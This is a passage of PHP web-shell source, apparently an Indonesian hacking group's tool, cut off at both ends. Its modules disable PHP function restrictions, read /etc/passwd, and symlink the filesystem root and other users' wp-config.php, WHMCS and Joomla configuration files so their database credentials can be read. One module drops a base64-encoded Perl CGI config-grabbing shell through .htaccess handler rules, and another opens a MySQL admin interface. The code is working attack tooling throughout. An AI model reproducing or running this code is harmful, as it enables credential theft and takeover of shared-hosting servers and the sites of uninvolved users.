oJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=\';

$file = fopen("cgi2012.izo" ,"w+");
$write = fwrite ($file ,base64_decode($cgi2012));
fclose($file);
    chmod("cgi2012.izo",0755);
   echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>
 
 </div>"; }
 
 elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'configkiller\'))
{	
?>
 <form action="?y=<?php echo $pwd; ?>&amp;x=configkiller" method="post">
 <?php

        echo $head ;

        echo \'

 

<table width="100%" cellspacing="0" cellpadding="0" >

 
            

 

       <td width="100%" align=center valign="top" rowspan="1">

           <font color=red size=5 face="comic sans ms"><b>--==[[ Configuration</font><font color=yellow size=5 face="comic sans ms"><b>  File Killer By</font><font color=Red size=5 face="comic sans ms"><b> Indonesian Security down ]]==--</font> <div>

 

        <td height="10" align="left"></td></tr><tr><td

        width="100%" align="center" valign="top" rowspan="1"><font

        color="red" face="comic sans ms"size="1"><b>

        <font color=red>

 

           </table>
        

 

\';

 

?>

<body bgcolor=black><h3 style="text-align:center">

<form method=post><font color=white size=2 face="comic sans ms">nih tombol buat php.ini :)</font><p>

<input type=submit name=ini value="use to Generate PHP.ini" /></form>

<form method=post><font color=white size=2 face="comic sans ms">nie buat nyari usernamenya</font><p>

    <input type=submit name="usre" value="use to Extract usernames" /></form>

 

    <?php

    if(isset($_POST[\'ini\']))

    {

 

        $r=fopen(\'php.ini\',\'w\');

        $rr=" disbale_functions=none ";

        fwrite($r,$rr);

        $link="<a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>buka di newtab PHP.INI</u></font></a>";

        echo $link;

 

        }

 

 

 

    ?>

 

 

    <?php

    if(isset($_POST[\'usre\'])){

        ?><form method=post>

    <textarea rows=10 cols=50 name=user><?php  $users=file("/etc/passwd");

foreach($users as $user)

{

$str=explode(":",$user);

echo $str[0]."
";

}

 

?></textarea><br><br>

    <input type=submit name=su value="mari kita mulai" /></form>

    <?php } ?>

    <?php

    error_reporting(0);

    echo "<font color=red size=2 face=\"comic sans ms\">";

    if(isset($_POST[\'su\']))

    {

    mkdir(\'ISD\',0777);

$rr  = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";

$g = fopen(\'ISD/.htaccess\',\'w\');

fwrite($g,$rr);

$ISD = symlink("/","ISD/root");

            $rt="<a href=ISD/root><font color=white size=3 face=\"comic sans ms\"> OwN3d</font></a>";

        echo "Mas bro buka link ini buat liat folder symlink <br><u>$rt</u>";

 

        $dir=mkdir(\'ISD\',0777);

        $r  = " Options all 
 DirectoryIndex Sux.html 
 AddType text/plain .php 
 AddHandler server-parsed .php 
  AddType text/plain .html 
 AddHandler txt .html 
 Require None 
 Satisfy Any";

        $f = fopen(\'ISD/.htaccess\',\'w\');

 

        fwrite($f,$r);

        $consym="<a href=ISD/><font color=white size=3 face=\"comic sans ms\">configuration files</font></a>";

           echo "<br>CHECK HASILNYA YG DIBAWH INI OMSSSS :*<br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";

 

               $usr=explode("
",$_POST[\'user\']);

           $configuration=array("wp-config.php","wordpress/wp-config.php","configuration.php","blog/wp-config.php","joomla/configuration.php","vb/includes/config.php","includes/config.php","conf_global.php","inc/config.php","config.php","Settings.php","sites/default/settings.php","whm/configuration.php","whmcs/configuration.php","support/configuration.php","whmc/WHM/configuration.php","whm/WHMCS/configuration.php","whm/whmcs/configuration.php","support/configuration.php","clients/configuration.php","client/configuration.php","clientes/configuration.php","cliente/configuration.php","clientsupport/configuration.php","billing/configuration.php","admin/config.php");

        foreach($usr as $uss )

        {

            $us=trim($uss);

 

            foreach($configuration as $c)

            {

             $rs="/home/".$us."/public_html/".$c;

             $r="ISD/".$us." .. ".$c;

             symlink($rs,$r);

 

        }

 

            }

 

 

        }

 

 

 

    ?>
<?php
}
 elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'config\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=config" method="post">

<?php

echo "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";

  mkdir(\'config\', 0755);
    chdir(\'config\');
        $kokdosya = ".htaccess";
        $dosya_adi = "$kokdosya";
        $dosya = fopen ($dosya_adi , \'w\') or die ("Error cuyy!");
        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI
		
AddType application/x-httpd-cgi .cpc

AddHandler cgi-script .izo
AddHandler cgi-script .izo";    
        fwrite ( $dosya , $metin ) ;
        fclose ($dosya);
$configshell = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPlByaXY4IFNDUjwvdGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IHRhaG9tYSwgdmVyZGFuYSwgQXJpYWw7DQogZm9udC1zaXplOiBtZWRpdW07DQogY29sb3I6ICNGRkZGRkY7DQogYmFja2dyb3VuZC1jb2xvcjogIzY2NjY2NjsNCiB0ZXh0LWFsaWduOiBjZW50ZXI7DQp9DQo8L3N0eWxlPg0KPC9oZWFkPg0KJzsNCnN1YiBsaWx7DQogICAgKCR1c2VyKSA9IEBfOw0KJG1zciA9IHF4e3B3ZH07DQoka29sYT0kbXNyLiIvIi4kdXNlcjsNCiRrb2xhPX5zL1xuLy9nOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JldGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob21lL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWpvb21sYSAtIGhvbWUudHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcy50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRrb2xhLictd29yZHByZXNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dlYi93cC1jb25maWcucGhwJywka29sYS4nLXdvcmRwcmVzcyAtIHdlYi50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9TU0kucGhwJywka29sYS4nLSBDIE0gRiAudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vU1NJLnBocCcsJGtvbGEuJy0gQyBNIEYgLSBmb3J1bS50eHQnKSA7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmMvY29uZmlnLnBocCcsJGtvbGEuJy0gTXlCQi50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luYy9jb25maWcucGhwJywka29sYS4nLSBNeUJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nLSBPdGhlci50eHQnKSA7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2xpYi9jb25maWcucGhwJywka29sYS4nLSBCYWxpdGJhbmcudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWNsaWVudHMudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1jbGllbnQudHh0JykgOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1iaWxsaW5nLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWJpbGxpbmdzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jcyAtIHdobWNzLnR4dCcpIDsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gd2htIC0gd2htLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nLSBWQnVsbGV0aW4gLSBmb3J1bS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vY29uZmlnLnBocCcsJGtvbGEuJwktIFBocEJCIC0gZm9ydW0udHh0JykgOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSB3aG1jIC0gd2htYy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc3VibWl0dGlja2V0LnBocCcsJGtvbGEuJwktIHdobWNzMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFuYWdlL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1tYW5nZXdobWNzLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbXlzaG9wL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nCS1teXNob3AudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnQudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLXN1cHBvcnRzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9vc2NvbW1lcmNlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictb3Njb21tZXJjZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3Njb21tZXJjZXMvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1vc2NvbW1lcmNlcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2hvcHBpbmcvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsJGtvbGEuJy1zaG9wLXNob3BwaW5nLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zYWxlL2luY2x1ZGVzL2NvbmZpZ3VyZS5waHAnLCRrb2xhLictc2FsZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYW1lbWJlci9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcuaW5jLnBocCcsJGtvbGEuJy1hbWVtYmVyMi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd3AudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd3dvcmRwcmVzcyAtIHdwIC0gYmV0YS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmV0YS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBiZXRhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLXdwMTMtcHJlc3MudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dvcmRwcmVzcy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLXdvcmRwcmVzcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd29yZHByZXNzL2JldGEvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gd29yZHByZXNzLWJldGEudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL25ld3Mvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC1uZXdzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9uZXcvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbmV3LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ibG9ncy93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBibG9ncy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9tZS93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSBob21lLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wcm90YWwvd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gcHJvdGFsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zaXRlL3dwLWNvbmZpZy5waHAnLCRrb2xhLictIHdvcmRwcmVzcyAtIHNpdGUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21haW4vd3AtY29uZmlnLnBocCcsJGtvbGEuJy0gd29yZHByZXNzIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdGVzdC93cC1jb25maWcucGhwJywka29sYS4nLSB3b3JkcHJlc3MgLSB0ZXN0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictam9vbWxhIC0gam9vbWxhIC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvcHJvdGFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBwcm90YWwudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2pvby9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gam9vLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbXMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGNtcy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvc2l0ZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gc2l0ZS50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWFpbi9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbWFpbi50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy0gam9vbWxhIC0gbmV3cy50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbmV3L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLSBqb29tbGEgLSBuZXcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvbWUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictIGpvb21sYSAtIGhvbWUudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHZiLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC92YjMvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJy0gdmIzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jcGFuZWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLictY3BhbmVsLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wYW5lbC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1wYW5lbC50eHQnKTsNCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdC9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJy1ob3N0LnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9ob3N0aW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RpbmcudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2hvc3RzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nLWhvc3RzLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAnLCRrb2xhLictemVuY2FydC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3plbmNhcnQvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLSB6ZW5jYXJ0IC0gc2hvcC50eHQnKTsgDQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Nob3AvaW5jbHVkZXMvZGlzdC1jb25maWd1cmUucGhwJywka29sYS4nLXNob3AtWkNzaG9wLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zbWYvU2V0dGluZ3MucGhwJywka29sYS4nLSBzbWYgLSBzbWYudHh0Jyk7IA0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9mb3J1bS9TZXR0aW5ncy5waHAnLCRrb2xhLictIHNtZiAtIGZvcnVtLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW1zL1NldHRpbmdzLnBocCcsJGtvbGEuJy0gc21mIC0gZm9ydW1zLnR4dCcpOyANCiBzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdXBsb2FkL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLictIHVwbG9hZCAudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2wvY29uZmlnLnBocCcsJGtvbGEuJy0gbWFsYXkudHh0Jyk7DQogc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy9rb25la3NpLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOw0KIHN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9zeXN0ZW0vc2lzdGVtLnBocCcsJGtvbGEuJy0gbG9rb21lZGlhLnR4dCcpOyANCiB9DQppZiAoJEVOVnsnUkVRVUVTVF9NRVRIT0QnfSBlcSAnUE9TVCcpIHsNCiAgcmVhZChTVERJTiwgJGJ1ZmZlciwgJEVOVnsnQ09OVEVOVF9MRU5HVEgnfSk7DQp9IGVsc2Ugew0KICAkYnVmZmVyID0gJEVOVnsnUVVFUllfU1RSSU5HJ307DQp9DQpAcGFpcnMgPSBzcGxpdCgvJi8sICRidWZmZXIpOw0KZm9yZWFjaCAkcGFpciAoQHBhaXJzKSB7DQogICgkbmFtZSwgJHZhbHVlKSA9IHNwbGl0KC89LywgJHBhaXIpOw0KICAkbmFtZSA9fiB0ci8rLyAvOw0KICAkbmFtZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkdmFsdWUgPX4gdHIvKy8gLzsNCiAgJHZhbHVlID1+IHMvJShbYS1mQS1GMC05XVthLWZBLUYwLTldKS9wYWNrKCJDIiwgaGV4KCQxKSkvZWc7DQogICRGT1JNeyRuYW1lfSA9ICR2YWx1ZTsNCn0NCmlmICgkRk9STXtwYXNzfSBlcSAiIil7DQpwcmludCAnDQo8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPiZuYnNwOzwvcD4NCjxmb3JtIG1ldGhvZD0icG9zdCI+DQo8dGV4dGFyZWEgbmFtZT0icGFzcyIgc3R5bGU9IndpZHRoOiA1NDNweDsgaGVpZ2h0OiA0MDBweCI+PC90ZXh0YXJlYT4NCjxiciAvPjxiciAvPg0KPGlucHV0IG5hbWU9InRhciIgdHlwZT0idGV4dCIgc3R5bGU9IndpZHRoOiAyMTJweCIgLz48YnIgLz48YnIgLz4NCjxpbnB1dCBuYW1lPSJTdWJtaXQxIiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJIYWphciAuLiEiIHN0eWxlPSJ3aWR0aDogOTlweCIgLz4NCjxiciAvPg0KPC9mb3JtPic7DQp9ZWxzZXsNCkBsaW5lcyA9PCRGT1JNe3Bhc3N9PjsNCiR5ID0gQGxpbmVzOw0Kb3BlbiAoTVlGSUxFLCAiPnRhci50bXAiKTsNCnByaW50IE1ZRklMRSAidGFyIC1jemYgIi4kRk9STXt0YXJ9LiIudGFyICI7DQpmb3IgKCRrYT0wOyRrYTwkeTska2ErKyl7DQp3aGlsZShAbGluZXNbJGthXSAgPX4gbS8oLio/KTp4Oi9nKXsNCiZsaWwoJDEpOw0KcHJpbnQgTVlGSUxFICQxLiIudHh0ICI7DQpmb3IoJGtkPTE7JGtkPDE4OyRrZCsrKXsNCnByaW50IE1ZRklMRSAkMS4ka2QuIi50eHQgIjsNCn0NCn0NCiB9DQpwcmludCc8Ym9keSBjbGFzcz0ibmV3U3R5bGUxIj4NCjxwPkRvbmUgISE8L3A+DQo8cD4mbmJzcDs8L3A+JzsNCmlmKCRGT1JNe3Rhcn0gbmUgIiIpew0Kb3BlbihJTkZPLCAidGFyLnRtcCIpOw0KQGxpbmVzID08SU5GTz4gOw0KY2xvc2UoSU5GTyk7DQpzeXN0ZW0oQGxpbmVzKTsNCnByaW50JzxwPjxhIGhyZWY9IicuJEZPUk17dGFyfS4nLnRhciI+IGRvd25sb2FkICBmaWxlPC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7\'; 

 

$file = fopen("config.izo" ,"w+");
$write = fwrite ($file ,base64_decode($configshell));
fclose($file);
    chmod("config.izo",0755);
   echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>
   </div>"; 
}
/////////////////////////////////////////////////////////////////////////
elseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'ms\'))
{	
?>
<form action="?y=<?php echo $pwd; ?>&amp;x=ms" method="post">

<?php
$PASSWORD = "tryag_vb";
$USERNAME = "102030";

if ( function_exists(\'ini_get\') ) {
	$onoff = ini_get(\'register_globals\');
} else {
	$onoff = get_cfg_var(\'register_globals\');
}
if ($onoff != 1) {
	@extract($HTTP_SERVER_VARS, EXTR_SKIP);
	@extract($HTTP_COOKIE_VARS, EXTR_SKIP);
	@extract($HTTP_POST_FILES, EXTR_SKIP);
	@extract($HTTP_POST_VARS, EXTR_SKIP);
	@extract($HTTP_GET_VARS, EXTR_SKIP);
	@extract($HTTP_ENV_VARS, EXTR_SKIP);
}

function logon() {
	global $PHP_SELF;
	setcookie( "mysql_web_admin_username" );
	setcookie( "mysql_web_admin_password" );
	setcookie( "mysql_web_admin_hostname" );
	echo "<center/><br/><b><font color=#00ff00>+--==[ Mysql Interface ]==--+</font></b><br><br>
";
	echo "<table class=tabnet cellpadding=2><tr><td><center>
";
	echo "
";
	echo "
";
	echo "<form action=\'$PHP_SELF\'>
";
	echo "<input type=hidden name=action value=bG9nb25fc3VibWl0>
";
	echo "<table class=tabnet cellpadding=5 cellspacing=1 style=\'width:300px;\'>
";
	echo "<th colspan=\'2\'>MySQL Interface</th>";
	echo "<tr><td>Hostname </td><td> <input class=\'inputz\' style=\'width:229px;\' type=text name=hostname value=\'localhost\'></td></tr>
";
	echo "<tr><td>Username </td><td> <input class=\'inputz\' style=\'width:229px;\' type=text name=username></td></tr>
";
	echo "<tr><td>Password </td><td> <input class=\'inputz\' style=\'width:229px;\' type=password name=password></td></tr>
";
	echo "</table><p>
";
	echo "<input class=\'inputzbut\' type=submit value=\'Enter\'>
";
	echo "<input class=\'inputzbut\' type=reset value=\'Clear\'><br>
";
	echo "</form>
";
	echo "
";
	echo "</center></td></tr></table>
";
	echo "
";
	echo "
";
}

function logon_submit() {
	global $username, $password, $hostname ,$PHP_SELF;
	if($hostname ==\'\')
		$hostname = \'localhost\';
	setcookie( "mysql_web_admin_username", $username );
	setcookie( "mysql_web_admin_password", $password );
	setcookie( "mysql_web_admin_hostname", $hostname );
	echo "<META HTTP-EQUIV=Refresh CONTENT=\'0; URL=$PHP_SELF?action=bGlzdERCcw==\'>";

}

function echoQueryResult() {
	global $queryStr, $errMsg;

	if( $errMsg == "" ) $errMsg = "Success";
	if( $queryStr != "" ) {
		echo "<table class=tabnet cellpadding=5>
";
		echo "<tr><td>Query</td><td>$queryStr</td></tr>
";
		echo "<tr><td>Result</td><td>$errMsg</td></tr>
";
		echo "</table><p>
";
	}
}

function listDatabases() {
	global $mysqlHandle, $PHP_SELF;

	echo "<h1>Databases List</h1>
";

	echo "<form action=\'$PHP_SELF\'>
";
	echo "<input type=hidden name=action value=createDB>
";
	echo "<input type=text name=dbname>
";
	echo "<input type=submit value=\'Create Database\'>
";
	echo "</form>
";
	echo "<hr>
";

	echo "<table class=tabnet cellspacing=1 cellpadding=5>
";

	$pDB = mysql_list_dbs( $mysqlHandle );
	$num = mysql_num_rows( $pDB );
	for( $i = 0; $i < $num; $i++ ) {
		$dbname = mysql_dbname( $pDB, $i );
		echo "<tr>
";
		echo "<td>$dbname</td>
";
		echo "<td><a href=\'$PHP_SELF?action=listTables&dbname=$dbname\'>Tables</a></td>
";
		echo "<td><a href=\'$PHP_SELF?action=dropDB&dbname=$dbname\' onClick=\"return confirm(\'Drop Database \'$dbname\'?\')\">Drop</a></td>
";
